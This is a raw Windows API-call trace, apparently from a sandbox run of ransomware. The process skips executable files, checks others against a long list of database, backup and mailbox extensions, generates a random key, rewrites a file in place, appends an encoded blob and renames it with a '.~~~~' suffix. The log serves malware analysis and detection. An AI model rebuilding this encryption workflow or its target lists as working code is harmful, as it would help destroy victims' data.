	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".sql") returned 0x0
	[0076.784] lstrlenW (lpString=".MYD") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".MYD") returned 0x0
	[0076.784] lstrlenW (lpString=".DBT") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DBT") returned 0x0
	[0076.784] lstrlenW (lpString=".ACCDB") returned 6
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".ACCDB") returned 0x0
	[0076.785] lstrlenW (lpString=".fdb") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".fdb") returned 0x0
	[0076.785] lstrlenW (lpString=".bak") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".bak") returned 0x0
	[0076.785] lstrlenW (lpString=".myd") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".myd") returned 0x0
	[0076.785] lstrlenW (lpString=".DTXS") returned 5
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DTXS") returned 0x0
	[0076.785] lstrlenW (lpString=".ckp") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".ckp") returned 0x0
	[0076.785] lstrlenW (lpString=".dbt") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dbt") returned 0x0
	[0076.785] lstrlenW (lpString=".db") returned 3
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".db") returned 0x0
	[0076.785] lstrlenW (lpString=".TXT") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".TXT") returned 0x0
	[0076.785] lstrlenW (lpString=".MDF") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".MDF") returned 0x0
	[0076.785] lstrlenW (lpString=".bdb") returned 4
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".bdb") returned 0x0
	[0076.785] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.785] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.786] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.787] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.787] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.787] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19677715507) returned 1
	[0076.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97aa3390, dwHighDateTime=0x1d60e1e)) 
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3958
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3958 | out: hHeap=0x300000) returned 1
	[0076.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.788] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.788] GetLastError () returned 0x0
	[0076.788] GetLastError () returned 0x0
	[0076.788] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.788] GetLastError () returned 0x0
	[0076.788] GetLastError () returned 0x0
	[0076.789] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x41d4, lpOverlapped=0x0) returned 1
	[0076.845] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffbe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.845] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x41d4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x41d4, lpOverlapped=0x0) returned 1
	[0076.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.846] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.846] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.846] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.846] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.847] CloseHandle (hObject=0x118) returned 1
	[0076.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0076.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.~~~~")) returned 1
	[0076.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0076.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.999] GetLastError () returned 0x0
	[0076.999] RtlWakeConditionVariable () returned 0x365f70
	[0076.999] GetCurrentThreadId () returned 0xaf0
	[0076.999] GetCurrentThreadId () returned 0xaf0
	[0076.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aab98
	[0076.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aace8 | out: hHeap=0x300000) returned 1
	[0076.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac548 | out: hHeap=0x300000) returned 1
	[0076.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aace8
	[0076.999] lstrlenW (lpString=".scr") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".scr") returned 0x0
	[0077.000] lstrlenW (lpString=".cmd") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".cmd") returned 0x0
	[0077.000] lstrlenW (lpString=".dll") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll", lpSrch=".dll") returned=".dll"
	[0077.000] lstrlenW (lpString=".dll") returned 4
	[0077.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aace8 | out: hHeap=0x300000) returned 1
	[0077.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aab98 | out: hHeap=0x300000) returned 1
	[0077.000] RtlWakeConditionVariable () returned 0x365f70
	[0077.000] GetCurrentThreadId () returned 0xaf0
	[0077.000] GetCurrentThreadId () returned 0xaf0
	[0077.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0077.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acbe0 | out: hHeap=0x300000) returned 1
	[0077.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac580 | out: hHeap=0x300000) returned 1
	[0077.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0077.000] lstrlenW (lpString=".scr") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".scr") returned 0x0
	[0077.000] lstrlenW (lpString=".cmd") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".cmd") returned 0x0
	[0077.000] lstrlenW (lpString=".dll") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dll") returned 0x0
	[0077.000] lstrlenW (lpString=".bat") returned 4
	[0077.000] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bat") returned 0x0
	[0077.000] lstrlenW (lpString=".cpl") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".cpl") returned 0x0
	[0077.001] lstrlenW (lpString=".sys") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sys") returned 0x0
	[0077.001] lstrlenW (lpString=".msc") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".msc") returned 0x0
	[0077.001] lstrlenW (lpString=".com") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".com") returned 0x0
	[0077.001] lstrlenW (lpString=".lnk") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".lnk") returned 0x0
	[0077.001] lstrlenW (lpString=".msp") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".msp") returned 0x0
	[0077.001] lstrlenW (lpString=".pif") returned 4
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".pif") returned 0x0
	[0077.001] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.001] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch="msp\r\n.pif") returned 0x0
	[0077.001] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.178] lstrlenW (lpString=".sqb") returned 4
	[0077.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sqb") returned 0x0
	[0077.178] lstrlenW (lpString=".ost") returned 4
	[0077.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ost") returned 0x0
	[0077.178] lstrlenW (lpString=".txt") returned 4
	[0077.178] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0
	[0077.183] lstrlenW (lpString=".mdt") returned 4
	[0077.183] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".mdt") returned 0x0
	[0077.183] lstrlenW (lpString=".BDB") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BDB") returned 0x0
	[0077.198] lstrlenW (lpString=".eql") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".eql") returned 0x0
	[0077.198] lstrlenW (lpString=".DBF") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBF") returned 0x0
	[0077.198] lstrlenW (lpString=".EQL") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".EQL") returned 0x0
	[0077.198] lstrlenW (lpString=".FDB") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".FDB") returned 0x0
	[0077.198] lstrlenW (lpString=".EDB") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".EDB") returned 0x0
	[0077.198] lstrlenW (lpString=".DACPAC") returned 7
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DACPAC") returned 0x0
	[0077.198] lstrlenW (lpString=".VHD") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".VHD") returned 0x0
	[0077.198] lstrlenW (lpString=".DBV") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBV") returned 0x0
	[0077.198] lstrlenW (lpString=".dacpac") returned 7
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dacpac") returned 0x0
	[0077.198] lstrlenW (lpString=".sdf") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sdf") returned 0x0
	[0077.198] lstrlenW (lpString=".accdb") returned 6
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".accdb") returned 0x0
	[0077.198] lstrlenW (lpString=".DBX") returned 4
	[0077.198] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBX") returned 0x0
	[0077.198] lstrlenW (lpString=".MDT") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MDT") returned 0x0
	[0077.199] lstrlenW (lpString=".SQB") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SQB") returned 0x0
	[0077.199] lstrlenW (lpString=".vhd") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".vhd") returned 0x0
	[0077.199] lstrlenW (lpString=".bac") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bac") returned 0x0
	[0077.199] lstrlenW (lpString=".mdf") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".mdf") returned 0x0
	[0077.199] lstrlenW (lpString=".BAK") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BAK") returned 0x0
	[0077.199] lstrlenW (lpString=".BAC") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".BAC") returned 0x0
	[0077.199] lstrlenW (lpString=".dbs") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbs") returned 0x0
	[0077.199] lstrlenW (lpString=".vhdx") returned 5
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".vhdx") returned 0x0
	[0077.199] lstrlenW (lpString=".NDF") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".NDF") returned 0x0
	[0077.199] lstrlenW (lpString=".dat") returned 4
	[0077.199] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dat") returned 0x0
	[0077.199] lstrlenW (lpString=".DBS") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBS") returned 0x0
	[0077.200] lstrlenW (lpString=".CKP") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".CKP") returned 0x0
	[0077.200] lstrlenW (lpString=".edb") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".edb") returned 0x0
	[0077.200] lstrlenW (lpString=".PST") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".PST") returned 0x0
	[0077.200] lstrlenW (lpString=".dbf") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbf") returned 0x0
	[0077.200] lstrlenW (lpString=".SQL") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SQL") returned 0x0
	[0077.200] lstrlenW (lpString=".pst") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".pst") returned 0x0
	[0077.200] lstrlenW (lpString=".dbv") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbv") returned 0x0
	[0077.200] lstrlenW (lpString=".SDF") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".SDF") returned 0x0
	[0077.200] lstrlenW (lpString=".dtxs") returned 5
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dtxs") returned 0x0
	[0077.200] lstrlenW (lpString=".db3") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".db3") returned 0x0
	[0077.200] lstrlenW (lpString=".OST") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".OST") returned 0x0
	[0077.200] lstrlenW (lpString=".dbx") returned 4
	[0077.200] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbx") returned 0x0
	[0077.201] lstrlenW (lpString=".DB3") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DB3") returned 0x0
	[0077.201] lstrlenW (lpString=".DAT") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DAT") returned 0x0
	[0077.201] lstrlenW (lpString=".VHDX") returned 5
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".VHDX") returned 0x0
	[0077.201] lstrlenW (lpString=".ndf") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ndf") returned 0x0
	[0077.201] lstrlenW (lpString=".DB") returned 3
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DB") returned 0x0
	[0077.201] lstrlenW (lpString=".sql") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".sql") returned 0x0
	[0077.201] lstrlenW (lpString=".MYD") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MYD") returned 0x0
	[0077.201] lstrlenW (lpString=".DBT") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DBT") returned 0x0
	[0077.201] lstrlenW (lpString=".ACCDB") returned 6
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ACCDB") returned 0x0
	[0077.201] lstrlenW (lpString=".fdb") returned 4
